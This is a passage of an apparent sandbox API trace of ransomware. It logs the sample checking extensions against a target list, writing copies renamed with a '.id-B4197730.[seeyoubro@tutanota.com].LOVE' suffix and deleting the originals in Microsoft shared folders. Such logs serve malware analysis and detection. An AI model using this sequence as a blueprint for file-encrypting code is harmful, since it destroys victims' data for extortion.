lstrlenW (lpString=".jpg") returned 4 [0220.224] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0220.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0220.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0220.225] lstrlenW (lpString=".doc") returned 4 [0220.225] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0220.225] lstrlenW (lpString=".docx") returned 5 [0220.225] lstrcmpiW (lpString1=".docx", lpString2="A.EXE") returned -1 [0220.225] lstrlenW (lpString=".pdf") returned 4 [0220.225] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0220.225] lstrlenW (lpString=".xls") returned 4 [0220.225] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0220.225] lstrlenW (lpString=".xlsx") returned 5 [0220.225] lstrcmpiW (lpString1=".xlsx", lpString2="A.EXE") returned -1 [0220.225] lstrlenW (lpString=".ppt") returned 4 [0220.225] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0220.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0220.225] lstrlenW (lpString=".zip") returned 4 [0220.225] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0220.225] lstrlenW (lpString=".rar") returned 4 [0220.225] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0220.225] lstrlenW (lpString=".bz2") returned 4 [0220.225] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0220.225] lstrlenW (lpString=".7z") returned 3 [0220.225] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0220.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0220.225] lstrlenW (lpString=".dbf") returned 4 [0220.225] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0220.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0220.225] lstrlenW (lpString=".1cd") returned 4 [0220.225] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0220.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0220.225] lstrlenW (lpString=".jpg") returned 4 [0220.225] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0220.225] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0220.226] lstrlenW (lpString="pkeyconfig.companion.dll") returned 24 [0220.226] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0220.255] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=18624) returned 1 [0220.255] CloseHandle (hObject=0x348) returned 1 [0220.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll")) returned 0x20 [0220.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0220.256] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0220.256] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0220.256] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0220.256] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0220.256] GetLastError () returned 0x0 [0220.256] ReadFile (in: hFile=0x348, lpBuffer=0x4088020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesRead=0x37dfecc*=0x48c0, lpOverlapped=0x0) returned 1 [0220.259] WriteFile (in: hFile=0x380, lpBuffer=0x4088020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesWritten=0x37dfc94*=0x48d0, lpOverlapped=0x0) returned 1 [0220.260] ReadFile (in: hFile=0x348, lpBuffer=0x4088020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0220.260] WriteFile (in: hFile=0x380, lpBuffer=0x4088020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesWritten=0x37dfc94*=0x104, lpOverlapped=0x0) returned 1 [0220.260] SetEndOfFile (hFile=0x380) returned 1 [0220.260] CloseHandle (hObject=0x380) returned 1 [0220.260] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0220.260] SetEndOfFile (hFile=0x348) returned 1 [0220.261] CloseHandle (hObject=0x348) returned 1 [0220.261] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0220.261] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll")) returned 1 [0220.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0220.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0220.261] lstrlenW (lpString=".doc") returned 4 [0220.261] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0220.262] lstrlenW (lpString=".docx") returned 5 [0220.262] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0220.262] lstrlenW (lpString=".pdf") returned 4 [0220.262] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0220.262] lstrlenW (lpString=".xls") returned 4 [0220.262] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0220.262] lstrlenW (lpString=".xlsx") returned 5 [0220.262] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0220.262] lstrlenW (lpString=".ppt") returned 4 [0220.262] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0220.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0220.262] lstrlenW (lpString=".zip") returned 4 [0220.262] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0220.262] lstrlenW (lpString=".rar") returned 4 [0220.262] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0220.262] lstrlenW (lpString=".bz2") returned 4 [0220.262] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0220.262] lstrlenW (lpString=".7z") returned 3 [0220.262] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0220.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0220.262] lstrlenW (lpString=".dbf") returned 4 [0220.262] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0220.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0220.262] lstrlenW (lpString=".1cd") returned 4 [0220.262] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0220.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0220.262] lstrlenW (lpString=".jpg") returned 4 [0220.262] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0220.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0220.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0220.262] lstrlenW (lpString=".doc") returned 4 [0220.262] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0220.262] lstrlenW (lpString=".docx") returned 5 [0220.262] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0220.262] lstrlenW (lpString=".pdf") returned 4 [0220.263] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0220.263] lstrlenW (lpString=".xls") returned 4 [0220.263] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0220.263] lstrlenW (lpString=".xlsx") returned 5 [0220.263] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0220.263] lstrlenW (lpString=".ppt") returned 4 [0220.263] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0220.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0220.263] lstrlenW (lpString=".zip") returned 4 [0220.263] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0220.263] lstrlenW (lpString=".rar") returned 4 [0220.263] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0220.263] lstrlenW (lpString=".bz2") returned 4 [0220.263] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0220.263] lstrlenW (lpString=".7z") returned 3 [0220.263] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0220.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0220.263] lstrlenW (lpString=".dbf") returned 4 [0220.263] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0220.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0220.263] lstrlenW (lpString=".1cd") returned 4 [0220.263] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0220.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0220.263] lstrlenW (lpString=".jpg") returned 4 [0220.263] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0220.264] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0220.264] lstrlenW (lpString="msdia90.dll") returned 11 [0220.264] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0220.266] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=855376) returned 1 [0220.266] CloseHandle (hObject=0x388) returned 1 [0220.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll")) returned 0x20 [0220.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0220.266] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0220.266] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0220.266] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0220.266] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0220.269] GetLastError () returned 0x0 [0220.269] ReadFile (in: hFile=0x388, lpBuffer=0x4088020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesRead=0x37dfecc*=0xd0d50, lpOverlapped=0x0) returned 1 [0220.374] WriteFile (in: hFile=0x354, lpBuffer=0x4088020*, nNumberOfBytesToWrite=0xd0d60, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesWritten=0x37dfc94*=0xd0d60, lpOverlapped=0x0) returned 1 [0220.405] ReadFile (in: hFile=0x388, lpBuffer=0x4088020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0220.405] WriteFile (in: hFile=0x354, lpBuffer=0x4088020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesWritten=0x37dfc94*=0xea, lpOverlapped=0x0) returned 1 [0220.405] SetEndOfFile (hFile=0x354) returned 1 [0220.405] CloseHandle (hObject=0x354) returned 1 [0220.405] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0220.405] SetEndOfFile (hFile=0x388) returned 1 [0220.412] CloseHandle (hObject=0x388) returned 1 [0220.413] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0220.413] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll")) returned 1 [0220.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0220.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0220.413] lstrlenW (lpString=".doc") returned 4 [0220.413] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0220.413] lstrlenW (lpString=".docx") returned 5 [0220.414] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0220.414] lstrlenW (lpString=".pdf") returned 4 [0220.414] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0220.414] lstrlenW (lpString=".xls") returned 4 [0220.414] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0220.414] lstrlenW (lpString=".xlsx") returned 5 [0220.414] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0220.414] lstrlenW (lpString=".ppt") returned 4 [0220.414] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0220.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0220.414] lstrlenW (lpString=".zip") returned 4 [0220.414] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0220.414] lstrlenW (lpString=".rar") returned 4 [0220.414] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0220.414] lstrlenW (lpString=".bz2") returned 4 [0220.414] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0220.414] lstrlenW (lpString=".7z") returned 3 [0220.414] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0220.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0220.414] lstrlenW (lpString=".dbf") returned 4 [0220.414] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0220.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0220.414] lstrlenW (lpString=".1cd") returned 4 [0220.414] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0220.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0220.414] lstrlenW (lpString=".jpg") returned 4 [0220.414] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0220.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0220.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0220.415] lstrlenW (lpString=".doc") returned 4 [0220.415] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0220.415] lstrlenW (lpString=".docx") returned 5 [0220.415] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0220.415] lstrlenW (lpString=".pdf") returned 4 [0220.415] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0220.415] lstrlenW (lpString=".xls") returned 4 [0220.415] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0220.415] lstrlenW (lpString=".xlsx") returned 5 [0220.415] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0220.415] lstrlenW (lpString=".ppt") returned 4 [0220.415] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0220.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0220.415] lstrlenW (lpString=".zip") returned 4 [0220.415] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0220.415] lstrlenW (lpString=".rar") returned 4 [0220.415] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0220.415] lstrlenW (lpString=".bz2") returned 4 [0220.415] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0220.415] lstrlenW (lpString=".7z") returned 3 [0220.415] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0220.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0220.415] lstrlenW (lpString=".dbf") returned 4 [0220.415] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0220.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0220.415] lstrlenW (lpString=".1cd") returned 4 [0220.415] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0220.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0220.416] lstrlenW (lpString=".jpg") returned 4 [0220.416] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0220.416] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0220.416] lstrlenW (lpString="VGX.dll") returned 7 [0220.416] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0220.853] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=987136) returned 1 [0220.853] CloseHandle (hObject=0x320) returned 1 [0220.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll")) returned 0x20 [0220.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0220.854] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0220.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58 [0220.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58 [0220.854] lstrlenW (lpString=".doc") returned 4 [0220.854] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0220.854] lstrlenW (lpString=".docx") returned 5 [0220.854] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0220.854] lstrlenW (lpString=".pdf") returned 4 [0220.854] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0220.854] lstrlenW (lpString=".xls") returned 4 [0220.854] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0220.854] lstrlenW (lpString=".xlsx") returned 5 [0220.854] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0220.854] lstrlenW (lpString=".ppt") returned 4 [0220.854] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0220.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58 [0220.854] lstrlenW (lpString=".zip") returned 4 [0220.854] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0220.854] lstrlenW (lpString=".rar") returned 4 [0220.854] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0220.854] lstrlenW (lpString=".bz2") returned 4 [0220.854] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0220.854] lstrlenW (lpString=".7z") returned 3 [0220.854] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0220.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58 [0220.854] lstrlenW (lpString=".dbf") returned 4 [0220.854] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0220.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58 [0220.855] lstrlenW (lpString=".1cd") returned 4 [0220.855] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0220.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58 [0220.855] lstrlenW (lpString=".jpg") returned 4 [0220.855] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0220.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58 [0220.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58 [0220.855] lstrlenW (lpString=".doc") returned 4 [0220.855] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0220.855] lstrlenW (lpString=".docx") returned 5 [0220.855] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0220.855] lstrlenW (lpString=".pdf") returned 4 [0220.855] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0220.855] lstrlenW (lpString=".xls") returned 4 [0220.855] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0220.855] lstrlenW (lpString=".xlsx") returned 5 [0220.855] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0220.855] lstrlenW (lpString=".ppt") returned 4 [0220.855] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0220.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58 [0220.855] lstrlenW (lpString=".zip") returned 4 [0220.855] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0220.855] lstrlenW (lpString=".rar") returned 4 [0220.855] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0220.855] lstrlenW (lpString=".bz2") returned 4 [0220.855] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0220.855] lstrlenW (lpString=".7z") returned 3 [0220.855] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0220.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58 [0220.855] lstrlenW (lpString=".dbf") returned 4 [0220.856] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0220.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58 [0220.856] lstrlenW (lpString=".1cd") returned 4 [0220.856] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0220.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58 [0220.856] lstrlenW (lpString=".jpg") returned 4 [0220.856] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0220.856] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0220.856] lstrlenW (lpString="VSTOMessageProvider.dll") returned 23 [0220.856] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0221.445] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=48872) returned 1 [0221.445] CloseHandle (hObject=0x348) returned 1 [0221.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll")) returned 0x20 [0221.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0221.445] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common 